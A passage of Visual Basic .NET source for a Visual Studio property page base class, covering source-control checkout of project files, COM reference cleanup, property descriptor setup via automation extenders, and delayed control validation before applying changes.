Boolean) Dim SccManager As New DesignerFramework.SourceCodeControlManager(ServiceProvider, ProjectHierarchy) EnterProjectCheckoutSection() Try Common.Switches.TracePDProperties(TraceLevel.Warning, "Making sure the project file is checked out...") SccManager.ManageFile(DTEProject.FullName) SccManager.EnsureFilesEditable() Finally ProjectReloaded = ProjectReloadedDuringCheckout LeaveProjectCheckoutSection() End Try End Sub #End Region #Region "IPropertyPageInternal" ''' <summary> ''' Calls apply method on the page and child pages ''' Notifies class after completion by calling OnApplyComplete ''' </summary> ''' <remarks>Called by ComClass wrapper which maps IPropertyPage2::Apply to here</remarks> Private Sub IPropertyPageInternal_Apply() Implements IPropertyPageInternal.Apply Apply() End Sub ''' <summary> ''' Provides keyword for help system lookup. ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Protected Overridable Function GetF1HelpKeyword() As String Return Nothing End Function ''' <summary> ''' Implements IPropertyPageInternal.Help ''' </summary> ''' <param name="HelpDir">Not used.</param> ''' <remarks></remarks> Private Sub IProperyPageInternal_Help(ByVal HelpDir As String) Implements IPropertyPageInternal.Help DesignerFramework.DesignUtil.DisplayTopicFromF1Keyword(ServiceProvider, GetF1HelpKeyword) End Sub ''' <summary> ''' Brings up help for the given help topic ''' </summary> ''' <param name="HelpTopic">The help string that identifiers the help topic.</param> ''' <remarks></remarks> Public Overridable Sub Help(ByVal HelpTopic As String) DesignerFramework.DesignUtil.DisplayTopicFromF1Keyword(ServiceProvider, HelpTopic) End Sub ''' <summary> ''' ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Protected Overridable Function IsPageDirty() As Boolean Implements IPropertyPageInternal.IsPageDirty If IsDirty Then Return True End If 'Check child pages for any dirty state For Each page As PropPageUserControlBase In m_ChildPages.Values If page.IsPageDirty() Then Return True End If Next page Return False End Function ''' <summary> ''' Removes references to anything that was passed in to SetObjects ''' </summary> ''' <remarks></remarks> Protected Overridable Sub CleanupCOMReferences() Dim i As Integer If m_Objects IsNot Nothing Then For i = 0 To m_Objects.Length - 1 m_Objects(i) = Nothing Next i End If m_Objects = Nothing If m_ExtendedObjects IsNot Nothing Then For i = 0 To m_ExtendedObjects.Length - 1 m_ExtendedObjects(i) = Nothing Next End If m_ExtendedObjects = Nothing DisconnectPropertyNotify() DisconnectDebuggerEvents() DisconnectBroadcastMessages() DisconnectBuildEvents() m_DTEProject = Nothing m_DTE = Nothing m_ProjectPropertiesObject = Nothing m_ServiceProvider = Nothing m_Site = Nothing m_CachedRawPropertiesSuperset = Nothing 'Ask all child pages to clean themselves up For Each page As PropPageUserControlBase In m_ChildPages.Values page.SetObjects(Nothing) Next page End Sub ''' <summary> ''' ''' </summary> ''' <param name="objects"></param> ''' <remarks></remarks> Private Sub CheckMultipleProjectsSelected(ByVal objects() As Object) If objects Is Nothing OrElse objects.Length <= 1 Then 'Cannot be multiple projects Else Dim NextProj, FirstProj As IVsHierarchy FirstProj = GetProjectHierarchyFromObject(objects(0)) For i As Integer = 1 To objects.Length - 1 NextProj = GetProjectHierarchyFromObject(objects(i)) If (NextProj Is Nothing OrElse NextProj IsNot FirstProj) Then Me.m_MultiProjectSelect = True Return End If Next End If Me.m_MultiProjectSelect = False End Sub ''' <summary> ''' Given a project Object, retrieves the hierarchy ''' </summary> ''' <param name="ThisObj"></param> ''' <returns></returns> ''' <remarks></remarks> Private Function GetProjectHierarchyFromObject(ByVal ThisObj As Object) As IVsHierarchy Dim Hier As IVsHierarchy = Nothing Dim ItemId As UInteger If TypeOf ThisObj Is IVsCfgBrowseObject Then VSErrorHandler.ThrowOnFailure(CType(ThisObj, IVsCfgBrowseObject).GetProjectItem(Hier, ItemId)) ElseIf TypeOf ThisObj Is IVsBrowseObject Then VSErrorHandler.ThrowOnFailure(CType(ThisObj, IVsBrowseObject).GetProjectItem(Hier, ItemId)) Else Debug.Fail("Not an IVsBrowseObject, not an IVsCfgBrowseObject") End If Return Hier End Function ''' <summary> ''' Provides an array of IUnknown pointers for the objects associated with the property page. ''' </summary> ''' <param name="objects"></param> ''' <remarks> ''' The property page host uses this method to communicate to the property page (which gets delegated to ''' this class) the objects whose properties are to be displayed. The property values are read and set ''' via these objects. ''' ''' IMPORTANT NOTE: Depending on the property page host and project, the objects may be IVsCfg objects ''' or they may be something else. '''</remarks> Private Sub IPropertyPageInternal_SetObjects(ByVal objects() As Object) Implements IPropertyPageInternal.SetObjects SetObjects(objects) End Sub ''' <summary> ''' Debug-only method to print the properties in a property descriptor collection to trace output. ''' </summary> ''' <param name="DebugMessage">The message to be printed first to trace output.</param> ''' <param name="Properties">The properties to print to trace output.</param> ''' <remarks></remarks> <Conditional("DEBUG")> _ Private Sub TraceTypeDescriptorCollection(ByVal DebugMessage As String, ByVal Properties As PropertyDescriptorCollection) #If DEBUG Then If Common.Switches.PDExtenders.TraceVerbose Then Trace.WriteLine("PDExtenders: " & DebugMessage) Trace.Indent() For Each Prop As PropertyDescriptor In Properties Trace.WriteLine(Prop.Name & " [" & VB.TypeName(Prop) & "]" & ": " & Prop.PropertyType.Name) Next Trace.Unindent() End If #End If End Sub ''' <summary> ''' ''' </summary> ''' <param name="site"></param> ''' <remarks></remarks> Private Sub SetPageSite(ByVal site As IPropertyPageSiteInternal) Implements IPropertyPageInternal.SetPageSite DisconnectDebuggerEvents() m_Site = site If site IsNot Nothing Then 'PERF: set the Font as early as possible to avoid flicker ScaleWindowToCurrentFont() ConnectBroadcastMessages() End If 'Also change site of any existing child pages For Each page As PropPageUserControlBase In m_ChildPages.Values Dim childSite As ChildPageSite = Nothing If site IsNot Nothing Then childSite = New ChildPageSite(page, site, m_PropPageUndoSite) End If page.SetPageSite(childSite) Next page If site IsNot Nothing Then ConnectDebuggerEvents() End If Debug.Assert(PropertyPageSite IsNot Nothing) OnSetSite(PropertyPageSite) End Sub ''' <summary> ''' Called when the property page's IPropertyPageSite is set. ''' </summary> ''' <param name="site"></param> ''' <remarks></remarks> Protected Overridable Sub OnSetSite(ByVal site As OLE.Interop.IPropertyPageSite) End Sub ''' <summary> ''' ''' </summary> ''' <param name="dispid"></param> ''' <remarks></remarks> Protected Overridable Sub EditProperty(ByVal dispid As Integer) Implements IPropertyPageInternal.EditProperty Dim cntrl As Control = GetPropertyControl(dispid) If cntrl IsNot Nothing Then 'SetFocus here cntrl.Select() End If End Sub #End Region ''' <summary> ''' Calls apply method on the page and child pages ''' Notifies class after completion by calling OnApplyComplete ''' </summary> ''' <remarks>Called by ComClass wrapper which maps IPropertyPage2::Apply to here</remarks> Public Overridable Sub Apply() Dim Successful As Boolean Try 'NOTE: The code today doesn't really work to allow the parent page do batch saving for child pages ' We do need create a transacation here, if there is no existing one (created by parent page). ' When something fails, who created the transaction should rollback it, but no other page should do that. ' However, the child page should never pop error message, but wrap all failure message to an exception. ' The page starting the transaction should merge error messages, and show to the user one time. If IsDirty Then Me.ApplyPageChanges() End If For Each page As PropPageUserControlBase In m_ChildPages.Values If page.IsDirty() Then page.Apply() End If Next page Successful = True Finally If Not m_ProjectReloadedDuringCheckout Then OnApplyComplete(Successful) End If End Try End Sub ''' <summary> ''' Provides an array of IUnknown pointers for the objects associated with the property page. ''' </summary> ''' <param name="objects"></param> ''' <remarks> ''' The property page host uses this method to communicate to the property page (which gets delegated to ''' this class) the objects whose properties are to be displayed. The property values are read and set ''' via these objects. ''' ''' IMPORTANT NOTE: Depending on the property page host and project, the objects may be IVsCfg objects ''' or they may be something else. '''</remarks> Public Overridable Sub SetObjects(ByVal objects() As Object) Debug.Assert(m_Site IsNot Nothing OrElse (objects Is Nothing OrElse objects.Length = 0), "SetObjects() called (with non-null objects), but we are not sited!") m_Objects = Nothing m_fConfigurationSpecificPage = False m_CachedRawPropertiesSuperset = Nothing 'Clean up any previous event handlers DisconnectPropertyNotify() CheckMultipleProjectsSelected(objects) If (objects Is Nothing) OrElse (objects.Length = 0) OrElse MultiProjectSelect() Then EnableAllControls(False) SetEnabledState() CleanupCOMReferences() Return End If If Not TypeOf objects Is Object() Then Debug.Fail("Objects must be an array of Object, not an array of anything else!") Throw New ArgumentException End If m_fInsideInit = True Try ' We need make a copy here. Different page shouldn't share a same copy of array! m_Objects = CType(objects.Clone(), Object()) SetEnabledState() ' 'Get the basic interfaces necessary for interacting with the project system and shell ' DTE ' ExtensibilityObjects ' m_DTE = Nothing m_DTEProject = Nothing Dim Hier As IVsHierarchy = Nothing Dim ItemId As UInteger Dim ThisObj As Object = m_Objects(0) 'Get the IVSHierarchy for the project (we ignore the returned ItemId), and while we're at it, ' figure out whether this page is specific to individual configurations or common to all If TypeOf ThisObj Is IVsCfgBrowseObject Then 'The object(s) passed in are configuration-specific m_fConfigurationSpecificPage = True VSErrorHandler.ThrowOnFailure(CType(ThisObj, IVsCfgBrowseObject).GetProjectItem(Hier, ItemId)) ElseIf TypeOf ThisObj Is IVsBrowseObject Then 'The object(s) passed in are common to all configurations m_fConfigurationSpecificPage = False VSErrorHandler.ThrowOnFailure(CType(ThisObj, IVsBrowseObject).GetProjectItem(Hier, ItemId)) Else Debug.Fail("Object passed in to SetObjects() must be an IVsBrowseObject or IVsCfgBrowseObject") Throw New NotSupportedException End If Debug.Assert(Hier IsNot Nothing, "Should have thrown") m_ProjectHierarchy = Hier Dim hr As Integer Dim obj As Object = Nothing hr = Hier.GetProperty(VSITEMID.ROOT, __VSHPROPID.VSHPROPID_ExtObject, obj) If TypeOf obj Is EnvDTE.Project Then m_DTEProject = CType(obj, EnvDTE.Project) m_DTE = m_DTEProject.DTE End If hr = Hier.GetProperty(VSITEMID.ROOT, __VSHPROPID.VSHPROPID_BrowseObject, obj) If TypeOf obj Is VSLangProj.ProjectProperties Then m_ProjectPropertiesObject = CType(obj, VSLangProj.ProjectProperties) ElseIf m_DTEProject IsNot Nothing Then If TypeOf m_DTEProject.Object Is VSLangProj.ProjectProperties Then m_ProjectPropertiesObject = CType(m_DTEProject.Object, VSLangProj.ProjectProperties) Else 'Must be a C++ project - CommonPropertiesObject will return m_DTEProject.Object m_ProjectPropertiesObject = Nothing End If obj = Nothing End If obj = Nothing 'Get the Extender Objects for the properties 'This must done after getting the DTE so that ServiceProvider can be obtained Dim aem As Microsoft.VisualStudio.Editors.PropertyPages.AutomationExtenderManager = _ Microsoft.VisualStudio.Editors.PropertyPages.AutomationExtenderManager.GetAutomationExtenderManager(ServiceProvider) '... First for the actual objects passed in to SetObjects Try m_ExtendedObjects = aem.GetExtendedObjects(objects) Debug.Assert(m_ExtendedObjects IsNot Nothing, "Extended objects unavailable") m_ObjectsPropertyDescriptorsArray = New PropertyDescriptorCollection(objects.Length - 1) {} For i As Integer = 0 To objects.Length - 1 Debug.Assert(objects(i) IsNot Nothing) #If DEBUG Then If Common.Switches.PDExtenders.TraceVerbose Then TraceTypeDescriptorCollection("*** Non-extended properties collection for objects #" & i, TypeDescriptor.GetProperties(objects(i))) End If #End If If TypeOf m_ExtendedObjects(i) Is ICustomTypeDescriptor Then 'Extenders were found and added, so we need to get the property descriptors for the set of properties including extenders m_ObjectsPropertyDescriptorsArray(i) = CType(m_ExtendedObjects(i), ICustomTypeDescriptor).GetProperties(New Attribute() {}) Common.Switches.TracePDExtenders(TraceLevel.Info, "*** Properties collection #" & i & " contains extended properties.") TraceTypeDescriptorCollection("*** Extended properties collection for objects #" & i, m_ObjectsPropertyDescriptorsArray(i)) Else 'No extenders m_ObjectsPropertyDescriptorsArray(i) = System.ComponentModel.TypeDescriptor.GetProperties(objects(i)) Common.Switches.TracePDExtenders(TraceLevel.Info, "*** Properties collection #" & i & " does not contain extended properties.") End If Next i Catch ex As Exception When Not Common.IsUnrecoverable(ex) Debug.Fail("An exception was thrown trying to get extended objects for the properties" & vbCrLf & ex.ToString) Throw End Try '... Then for common properties of the project which are not configuration-specific If objects.Length = 1 AndAlso CommonPropertiesObject Is objects(0) Then 'The object passed in to us *is* the common project properties object. We've already calculated the ' extended properties from that, so no need to repeat it (can be performance intensive). Debug.Assert(Not m_fConfigurationSpecificPage) m_CommonPropertyDescriptors = m_ObjectsPropertyDescriptorsArray(0) Else Try Dim ExtendedCommonProperties() As Object = aem.GetExtendedObjects(New Object() {CommonPropertiesObject}) Debug.Assert(ExtendedCommonProperties IsNot Nothing, "Extended objects unavailable for common properties") Debug.Assert(ExtendedCommonProperties.Length = 1) #If DEBUG Then If Common.Switches.PDExtenders.TraceVerbose Then TraceTypeDescriptorCollection("*** Non-extended common properties collection", TypeDescriptor.GetProperties(CommonPropertiesObject)) End If #End If If TypeOf ExtendedCommonProperties(0) Is ICustomTypeDescriptor Then 'Extenders were found and added, so we need to get the property descriptors for the set of properties including extenders m_CommonPropertyDescriptors = DirectCast(ExtendedCommonProperties(0), ICustomTypeDescriptor).GetProperties(New Attribute() {}) TraceTypeDescriptorCollection("*** Extended common properties collection", m_CommonPropertyDescriptors) Else 'No extenders m_CommonPropertyDescriptors = System.ComponentModel.TypeDescriptor.GetProperties(CommonPropertiesObject) Common.Switches.TracePDExtenders(TraceLevel.Info, "*** Common properties collection does not contain extended properties.") End If Catch ex As Exception When Not Common.IsUnrecoverable(ex) Debug.Fail("An exception was thrown trying to get extended objects for the common properties" & vbCrLf & ex.ToString) Throw End Try End If InitializeAllProperties() InitPage() ScaleWindowToCurrentFont() ConnectBroadcastMessages() ConnectDebuggerEvents() ConnectPropertyNotify() ConnectBuildEvents() Finally m_fInsideInit = False End Try 'Also call SetObjects for any existing child pages For Each page As PropPageUserControlBase In m_ChildPages.Values page.SetObjects(objects) Next page End Sub #Region "Control event handlers for derived form" ''' <summary> ''' ''' </summary> ''' <remarks></remarks> Protected Sub AddChangeHandlers() For Each _controlData As PropertyControlData In ControlData _controlData.AddChangeHandlers() Next _controlData End Sub #End Region #Region "Search for PropertyControlData and controls on the page" ''' <summary> ''' Looks up a control on this page by numeric id and returns it, if found, else returns Nothing. ''' </summary> ''' <param name="PropertyId"></param> ''' <returns></returns> ''' <remarks></remarks> Protected Overridable Function GetPropertyControl(ByVal PropertyId As Integer) As Control For Each ControlData As PropertyControlData In Me.ControlData If ControlData.DispId = PropertyId Then Return ControlData.FormControl End If Next ControlData Return Nothing End Function ''' <summary> ''' Looks up a PropertyControlData on this page by numeric id and returns it, if found, else returns Nothing. ''' </summary> ''' <param name="PropertyId"></param> ''' <returns></returns> ''' <remarks> ''' Whether the PropertyControlData is found or not does not depend on whether the associated property ''' is found in the project system or not, but just on whether the PropertyControlData object was ''' offered up by the page in the page's implementation of the ControlData property. ''' To determine if a property is supported by the project system, use GetControlDataFromXXX().IsMissing ''' </remarks> Protected Overridable Function GetPropertyControlData(ByVal PropertyId As Integer) As PropertyControlData For Each ControlData As PropertyControlData In Me.ControlData If ControlData.DispId = PropertyId Then Return ControlData End If Next ControlData Return Nothing End Function ''' <summary> ''' Looks up a PropertyControlData on this page by name and returns it, if found, else returns Nothing. ''' </summary> ''' <param name="PropertyName"></param> ''' <remarks> ''' Whether the PropertyControlData is found or not does not depend on whether the associated property ''' is found in the project system or not, but just on whether the PropertyControlData object was ''' offered up by the page in the page's implementation of the ControlData property. ''' To determine if a property is supported by the project system, use GetControlDataFromXXX().IsMissing ''' </remarks> Protected Overridable Function GetPropertyControlData(ByVal PropertyName As String) As PropertyControlData For Each pcd As PropertyControlData In Me.ControlData If pcd.PropertyName.Equals(PropertyName, StringComparison.Ordinal) Then Return pcd End If Next Return Nothing End Function #End Region #Region "ControlData" ''' <summary> ''' List of PropertyControlData structures which the base class uses ''' to read and write property values and initialize the UI. ''' </summary> ''' <value></value> ''' <remarks>This should normally be overridden in the derived class to provide the page's specific list of ''' PropertyControlData. No need to call the base's default version. ''' </remarks> <DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)> _ Protected Overridable ReadOnly Property ControlData() As PropertyControlData() Get Return New PropertyControlData() {} End Get End Property #End Region #Region "Delay validation helpers" Private m_delayValidationGroup As Integer = -1 ' the control group ID: we need do validation when focus moves out of this group Private m_delayValidationQueue As ListDictionary ' it hosts a list of controlData objects, which need to be validated ''' <summary> ''' Return a control group which contains the control, return -1 when we can not find one ''' </summary> ''' <param name="dataControl"></param> ''' <returns></returns> ''' <remarks></remarks> Private Function FindControlGroup(ByVal dataControl As Control) As Integer Dim group As Control()() = ValidationControlGroups If group IsNot Nothing Then For i As Integer = 0 To group.Length - 1 Dim list As Control() = group(i) For j As Integer = 0 To list.Length - 1 If list(j) Is dataControl Then Return i End If Next Next End If Return -1 End Function ''' <summary> ''' Check whether the focus is still in the control group ''' </summary> ''' <param name="groupID"></param> ''' <returns></returns> ''' <remarks></remarks> Private Function IsFocusInControlGroup(ByVal groupID As Integer) As Boolean Dim controlList As Control() = ValidationControlGroups(groupID) For Each c As Control In controlList If c.ContainsFocus Then Return True End If Next Return False End Function ''' <summary> ''' ignore validating one control, it will be removed from delay-validation list ''' </summary> ''' <param name="dataControl"></param> ''' <remarks></remarks> Protected Sub SkipValidating(ByVal dataControl As Control) If m_delayValidationQueue IsNot Nothing Then For Each item As PropertyControlData In ControlData If item.FormControl Is dataControl Then m_delayValidationQueue.Remove(item) Return End If Next item End If End Sub ''' <summary> ''' add a control to the delay-validation list ''' </summary> ''' <param name="dataControl"></param> ''' <remarks></remarks> Protected Sub DelayValidate(ByVal dataControl As Control) Dim controlGroup As Integer = FindControlGroup(dataControl) Debug.Assert(controlGroup >= 0, "The control doesn't belong to a group?") If controlGroup >= 0 Then Dim items As New ArrayList For Each _controlData As PropertyControlData In ControlData If _controlData.FormControl Is dataControl Then items.Add(_controlData) DelayValidate(controlGroup, items) Return End If Next _controlData End If End Sub ''' <summary> ''' add a list of controlData to the delay-validation list ''' </summary> ''' <param name="controlGroup"></param> ''' <param name="items"></param> ''' <remarks></remarks> Private Sub DelayValidate(ByVal controlGroup As Integer, ByVal items As ArrayList) Dim oldItems As ListDictionary = Nothing If m_delayValidationGroup < 0 Then m_delayValidationGroup = controlGroup If m_delayValidationQueue Is Nothing Then m_delayValidationQueue = New ListDictionary() End If HookDelayValidationEvents() ElseIf m_delayValidationGroup <> controlGroup Then UnhookDelayValidationEvents() oldItems = m_delayValidationQueue m_delayValidationGroup = controlGroup m_delayValidationQueue = New ListDictionary() HookDelayValidationEvents() Else Debug.Assert(m_delayValidationQueue IsNot Nothing, "Why we didn't create the queue") End If For Each item As Object In items m_delayValidationQueue.Item(item) = Nothing Next ' We need process the existing delay validation queue if it belongs to another control group If oldItems IsNot Nothing Then ProcessDelayValidationQueue(oldItems, False) End If End Sub ''' <summary> ''' Start validating the objects in the delay-validation list ''' </summary> ''' <param name="canThrow"></param> ''' <returns>return false if the validation failed</returns> ''' <remarks></remarks> Protected Function ProcessDelayValidationQueue(ByVal canThrow As Boolean) As Boolean Dim oldItems As ListDictionary = m_delayValidationQueue If m_delayValidationGroup >= 0 Then UnhookDelayValidationEvents() End If m_delayValidationGroup = -1 m_delayValidationQueue = Nothing If oldItems IsNot Nothing Then Return ProcessDelayValidationQueue(oldItems, canThrow) End If Return True End Function ''' <summary> ''' Start validating the objects in a delay-validation list ''' </summary> ''' <param name="items"></param> ''' <returns>return false if the validation failed</returns> ''' <remarks>a helper function</remarks> Private Function ProcessDelayValidationQueue(ByVal items As ListDictionary, ByVal canThrow As Boolean) As Boolean Dim firstControl As Control = Nothing Dim finalMessage As String = String.Empty Dim finalResult As ValidationResult = ValidationResult.Succeeded Dim currentState As Boolean = m_inDelayValidation m_inDelayValidation = True Try ' do validation for all items in the queue, but we collect all messages, and report them one time... For Each _controlData As PropertyControlData In items.Keys Dim message As String = Nothing Dim returnControl As Control = Nothing Dim result As ValidationResult = ValidateProperty(_controlData, message, returnControl) If result <> ValidationResult.Succeeded Then If finalResult = ValidationResult.Succeeded Then finalResult = ValidationResult.Warning finalMessage = _controlData.DisplayPropertyName & ":" & vbCrLf & message Else finalMessage = finalMessage & vbCrLf & vbCrLf & _controlData.DisplayPropertyName & ":" & vbCrLf & message End If If firstControl Is Nothing Then If returnControl Is Nothing Then firstControl = _controlData.FormControl Else firstControl = returnControl End If End If End If Next _controlData If finalResult <> ValidationResult.Succeeded Then If canThrow Then Throw New ValidationException(finalResult, finalMessage, firstControl) Else Dim caption As String = SR.GetString(SR.APPDES_Title) Dim dialogResult As DialogResult = DesignerFramework.DesignerMessageBox.Show(ServiceProvider, finalMessage, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning) If firstControl IsNot Nothing Then firstControl.Focus() If TypeOf firstControl Is TextBox Then CType(firstControl, TextBox).SelectAll() End If End If End If Return False End If Finally m_inDelayValidation = currentState End Try Return True End Function ''' <summary> ''' Add event handler to monitor focus ''' </summary> ''' <remarks></remarks> Private Sub HookDelayValidationEvents() Dim controlList As Control() = ValidationControlGroups(m_delayValidationGroup) For Each c As Control In controlList AddHandler c.Leave, AddressOf OnLeavingControlGroup Next End Sub ''' <summary> ''' remove event handler to monitor focus ''' </summary> ''' <remarks></remarks> Private Sub UnhookDelayValidationEvents() Dim controlList As Control() = ValidationControlGroups(m_delayValidationGroup) For Each c As Control In controlList RemoveHandler c.Leave, AddressOf OnLeavingControlGroup Next End Sub ''' <summary> ''' the event handler to handle focus leaving ''' </summary> ''' <remarks></remarks> Private Sub OnLeavingControlGroup(ByVal sender As Object, ByVal e As System.EventArgs) PostValidation() End Sub ''' <summary> ''' Post a message to start validation ''' </summary> ''' <remarks></remarks> Private Sub PostValidation() ' NOTE: We always post the message, but start validation only the focus is really out. ' We delay check this, so we don't get into the problem when winForm hasn't sync status correctly, which IS a problem in some cases (tab). Microsoft.VisualStudio.Editors.Interop.NativeMethods.PostMessage(Handle, Microsoft.VisualStudio.Editors.Common.WmUserConstants.WM_PAGE_POSTVALIDATION, 0, 0) End Sub #End Region #Region "Apply page change helpers" ''' <summary> ''' Code executed before property values are updated. ''' </summary> ''' <remarks>This is called after the ILangPropertyProvideBatchUpdate.BeginBatch has been called.</remarks> Protected Overridable Sub PreApplyPageChanges() End Sub ''' <summary> ''' Code to validate the page ''' </summary> ''' <remarks>This is called when changes are saved or applied to the object</remarks> Protected Sub ValidatePageChanges(ByVal allowDelayValidation As Boolean) Dim firstControl As Control = Nothing Dim finalMessage As String = String.Empty Dim finalResult As ValidationResult = ValidationResult.Succeeded Dim delayValidationOK As Boolean = allowDelayValidation Dim delayValidationGroup As Integer = -1 Dim delayValidationQueue As ArrayList = Nothing For Each _controlData As PropertyControlData In ControlData If _controlData.IsDirty Then Dim message As String = Nothing Dim returnControl As Control = Nothing Dim result As ValidationResult = ValidateProperty(_controlData, message, returnControl) If result <> ValidationResult.Succeeded Then If returnControl Is Nothing Then returnControl = _controlData.FormControl End If If finalResult = ValidationResult.Succeeded Then finalResult = result finalMessage = _controlData.DisplayPropertyName & ":" & vbCrLf & message firstControl = returnControl Else finalMessage = finalMessage & vbCrLf & vbCrLf & _controlData.DisplayPropertyName & ":" & vbCrLf & message If finalResult <> ValidationResult.Failed Then finalResult = result End If End If ' Delay validation process, we only allow it when all updated controls are in the same group... If delayValidationOK Then If result = ValidationResult.Warning AndAlso returnControl IsNot Nothing Then Dim group As Integer = FindControlGroup(returnControl) If delayValidationGroup < 0 Then delayValidationGroup = group delayValidationQueue = New ArrayList() delayValidationQueue.Add(_controlData) ElseIf delayValidationGroup <> group Then delayValidationOK = False Else Debug.Assert(delayValidationQueue IsNot Nothing) delayValidationQueue.Add(_controlData) End If Else delayValidationOK = False End If End If End If End If NextControl: Next _controlData If finalResult <> ValidationResult.Succeeded Then If finalResult = ValidationResult.Warning AndAlso delayValidationOK Then DelayValidate(delayValidationGroup, delayValidationQueue) PostValidation() ' we need start validating if the focus has already moved out. Else ' We should report the error if it is not a warning... Throw New ValidationException(finalResult, finalMessage, firstControl) End If End If End Sub ''' <summary> ''' validate a property ''' </summary> ''' <param name="controlData"></param> ''' <param name="message"></param> ''' <param name="returnControl"></param> ''' <returns></returns> ''' <remarks>Different pages should override it to do the validation</remarks> Protected Overridable Function ValidateProperty(ByVal controlData As PropertyControlData, ByRef message As String, ByRef returnControl As Control) As ValidationResult Return ValidationResult.Succeeded End Function ''' <summary> ''' Attempts to check out the files which are necessary in order to apply the currently-dirty properties ''' </summary> ''' <remarks></remarks> Private Sub CheckOutFilesForApply() Dim Control As Control = Nothing 'The control which caused the exception, if known\ Dim FirstDirtyControl As Control = Nothing 'The first dirty control Try 'Attempt to batch up the files which need to be checked out for all of the dirty properties. ' It is possible for a checkout to cause the project file to get updated to a newer version, ' which will cause the project to be reloaded. That in turn causes the project designer to get ' shut down in the middle of the apply. If that happens, we need to try to exit as early as possible. 'Thus, checking out the files early has two advantages: 1) keeps it to a single checkout prompt, 2) ' helps us shut down more gracefully if the checkout causes a project reload. If m_ServiceProvider IsNot Nothing AndAlso m_ProjectHierarchy IsNot Nothing Then Dim SccManager As New DesignerFramework.SourceCodeControlManager(m_ServiceProvider, m_ProjectHierarchy) For Each Data As PropertyControlData In ControlData If Data.IsDirty Then Dim ValueHasChanged As Boolean = False Try 'Is the property value different from the stored one? If not, there's no need to ' check out the file (this is important for correct Undo functionality). Dim OldValues() As Object = Data.AllInitialValuesExpanded Dim NewValues() As Object = Data.GetControlValueMultipleValues() If OldValues Is Nothing OrElse NewValues Is Nothing Then Debug.Fail("OldValues or NewValues is Nothing") Else If OldValues.Length <> NewValues.Length Then Debug.Fail("OldValues.Length <> NewValues.Length") Else For i As Integer = 0 To OldValues.Length - 1 If Not PropertyControlData.ObjectsAreEqual(OldValues(i), NewValues(i)) Then 'One of the values has changed. ValueHasChanged = True End If Next End If End If Catch ex As Exception When Not Common.Utils.IsUnrecoverable(ex) Debug.Fail("Failure trying to compare old/new values in PropertyControlDataSetValueHelper.SetValue") ValueHasChanged = True End Try 'If the value is the same as the current value then no need to try ' setting anything. This allows the user to set the value back to the ' original value and have it be accepted even if it fails some of the ' extra validation that we do (e.g., an empty GUID). If ValueHasChanged Then If FirstDirtyControl Is Nothing Then FirstDirtyControl = Data.FormControl End If Control = Data.FormControl Dim AffectedFiles() As String = Data.FilesToCheckOut() 'This can cause checkout exceptions if files have to be added to the project For Each File As String In AffectedFiles SccManager.ManageFile(File) Next End If End If Next If SccManager.ManagedFiles.Count > 0 Then Common.Switches.TracePDProperties(TraceLevel.Warning, "Calling QueryEdit on these files: " & String.Join(", ", SccManager.ManagedFiles.ToArray())) SccManager.EnsureFilesEditable() If m_ProjectReloadedDuringCheckout Then 'Project is reloading. Can't try to change the property values, we just need to exit as soon as possible. Trace.WriteLine("**** Dispose was forced while we were trying to check out files. No property changes were made, exiting apply.") Return End If End If Else Debug.Fail("Service provider or hierarchy missing - can't QueryEdit files before property set") End If Catch ex As Exception When Not Common.IsUnrecoverable(ex) 'ApplyPageChanges() handles ValidationException specially, we need to 'Be sure to set the inner exception, so that if it was a checkout cancel, the ' message box later knows to ignore it. If Control Is Nothing Then 'Error wasn't with a specific property's control, so it might have been from the ' batch checkout. Use the first dirty control. Control = FirstDirtyControl End If Throw New ValidationException(ValidationResult.Failed, ex.Message, Control, innerexception:=ex) End Try End Sub Private Sub VerifyPropertiesWhichMayReloadProjectAreLast() #If DEBUG Then Dim APreviousPropertyHadProjectMayBeReloadedDuringPropertySetFlag As Boolean = False For Each _controlData As PropertyControlData In ControlData Dim ProjectMayBeReloadedDuringPropertySet As Boolean = (0 <> (_controlData.GetFlags() And ControlDataFlags.ProjectMayBeReloadedDuringPropertySet)) If ProjectMayBeReloadedDuringPropertySet Then APreviousPropertyHadProjectMayBeReloadedDuringPropertySetFlag = True ElseIf APreviousPropertyHadProjectMayBeReloadedDuringPropertySetFlag Then Debug.Fail("Properties with the ProjectMayBeReloadedDuringPropertySet flag should always come last " _ & "in the property list so that they will be set last. Otherwise there may be " _ & "other property changes requests to be applied which will get ignored if the project " _ & "is reloaded.") Return End If Next #End If End Sub ''' <summary> ''' Flushes user changes to the underlying project system properties. ''' </summary> ''' <remarks>Properties are only flushed if they are marked as dirty.</remarks> Protected Overridable Sub ApplyPageChanges() Debug.Assert(Not Me.MultiProjectSelect, "Apply should not be occuring with multiple projects selected") Debug.Assert(Not m_ProjectReloadedDuringCheckout) Dim control As System.Windows.Forms.Control = Nothing Dim Transaction As DesignerTransaction = Nothing Dim Succeeded As Boolean = False Dim ProjectReloadWasValid As Boolean = False VerifyPropertiesWhichMayReloadProjectAreLast() 'The objects which we have called ILangPropertyProvideBatchUpdate.BeginBatch on (and which need a corresponding ' EndBatch). This could be a superset of m_Objects because individual properties can proffer objects not in ' m_Objects. Entries which have not called BeginBatch or which do not support it will be Nothing. Dim BatchObjects() As Interop.ILangPropertyProvideBatchUpdate = Nothing Dim vsProjectBuildSystem As IVsProjectBuildSystem = Nothing Debug.Assert(Not m_fIsApplying) m_fIsApplying = True EnterProjectCheckoutSection() Try ' we should validate the page before appling any change... ' NOTE: We will call this twice for a dialog page, because it has been called on SaveCurrentValue. We don't hope it fail this time. ' We should consider whether we shouldn't pop error message when the designer is not activated unless when CommitPendingEdit... ValidatePageChanges(True) CheckOutFilesForApply() If m_ProjectReloadedDuringCheckout Then Return End If ' Note that we should always batch up our changes, specifically because of properties like ' VB's RootNamespace which will force all generators within the project to run, and some ' generators add references while running which causes the project system to commit property ' changes to the compiler unless we've set the BatchEdit flags. For VB this is bad because VB ' executes a symbolic-rename when it sees the root-namespace changing, but we want this to ' happen after our property-set is applied and not in the middle because a random generator ' happened to run. Debug.Assert(ProjectHierarchy IsNot Nothing, "no hierarchy?") vsProjectBuildSystem = TryCast(ProjectHierarchy, IVsProjectBuildSystem) Debug.Assert(vsProjectBuildSystem IsNot Nothing, "hierarchy is not IVsProjectBuildSystem?") Try ' The project-system actually has two batching methods, and as it turns out, the ' ILangPropertyProvideBatchUpdate will validate it's batch lock count with the ' count in vsProjectBuildSystem, but not the other way around. What currently ' happens 